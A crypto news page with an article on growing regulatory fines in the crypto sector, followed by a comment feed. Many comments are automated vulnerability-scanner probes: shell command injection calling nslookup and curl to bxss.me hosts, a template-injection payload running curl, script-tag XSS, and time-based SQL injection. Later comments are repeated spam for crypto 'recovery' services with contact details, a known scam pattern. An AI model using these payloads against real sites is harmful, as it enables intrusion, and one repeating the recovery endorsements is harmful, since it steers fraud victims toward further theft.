Русский
EnglishCryptocurrencies:
9544 /
Markets: 113022
Market Cap: $ 3 741 613 272 114 /
24h Vol: $ 204 594 956 552 /
BTC
Dominance: 59.59388436323%
News
Fines and regulation: The ever-growing landscape of crypto compliance
How have the regulatory and legal frameworks governing cryptocurrency fines transformed over the years, and what are the key trends and challenges?
It is a goal of many in the crypto industry to evolve the space and bring it into the mainstream, but the industry still faces constant criticism from and continues to be regulated by individuals who may not fully understand how it works. Regulatory bodies worldwide have been increasingly vigilant in addressing potential risks and ensuring compliance within the crypto space.
One notable aspect of this regulatory focus is the imposition of fines and penalties on individuals and companies involved in various crypto-related activities. Here’s how the landscape has transformed since 2018, leading to increasing regulation in 2023.
Increasing regulatory scrutiny
Since 2018, there has been a substantial rise in the number of regulatory actions and fines imposed on entities operating in the crypto sector, with the Securities and Exchange Commission in the United States and the Financial Conduct Authority in the United Kingdom strengthening their enforcement efforts with the aim to protect investors and maintain market integrity.
The expansion of regulatory frameworks, particularly those aimed at cryptocurrencies, has been a prominent development in 2023. They often include provisions related to Anti-Money Laundering (AML) and Know Your Customer (KYC) requirements, investor protection, and disclosure obligations. Implementing these regulations has enabled authorities to take a stronger stance against noncompliant individuals and companies.
The shift toward an individual-focused approach with a strong interest in the crypto sector has played a crucial role in driving the increase in enforcement actions and fines. By imposing fines on fraudulent activities, scams and unlawful touting, regulators aim to create a safer investment environment and deter bad actors from operating within the industry.
Notable cases and trends
Throughout this period, several high-profile cases have emerged involving celebrities, influencers and companies promoting cryptocurrencies without proper disclosures or engaging in fraudulent activities — such as those involving Floyd Mayweather Jr., DJ Khaled, Paul Pierce and Kim Kardashian. These cases have demonstrated the consequences of misleading the public regarding endorsements in the crypto space, serving as a wake-up call for both regulators and investors and highlighting the importance of transparency and due diligence.
Explore the Crypto Fines Database by Cointelegraph Research
Additionally, the rise of initial coin offerings a few years ago led to a surge in regulatory actions targeting projects that failed to comply with securities laws. Many ICOs were deemed unregistered securities offerings, resulting in fines, penalties, and even the shutdown of specific projects.
Implications
The landscape of crypto fines has changed substantially since 2018, reflecting the industry’s growing maturity and increasing regulatory scrutiny. Heightened enforcement efforts, expanding regulatory frameworks, and a focus on crypto users signify a shift toward a more regulated, responsible crypto ecosystem.
Regulations are continually tightening and evolving rapidly, with an increasing emphasis on AML/KYC compliance; hence, it’s vital to stay aware and navigate this changing landscape effectively. Cointelegraph Research’s comprehensive Crypto Fines Database is available to assist in ensuring compliance and avoiding potential fines by providing insights into the evolving regulatory environment. Learning from the past and staying proactive helps foster a more secure, trustworthy crypto ecosystem for all participants.
The opinions expressed in this article are for general informational purposes only and are not intended to provide specific advice or recommendations for any individual or on any specific security or investment product.
-
09.10.25 08:08
pHqghUme
$(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)
-
09.10.25 08:08
pHqghUme
&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'
-
09.10.25 08:08
pHqghUme
&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'
-
09.10.25 08:08
pHqghUme
|(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)
-
09.10.25 08:08
pHqghUme
`(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`
-
09.10.25 08:08
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:08
pHqghUme
;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)
-
09.10.25 08:08
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)
-
09.10.25 08:09
pHqghUme
&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
To join the Chat, you need a free pro-blockchain.com account.
Enter
Registration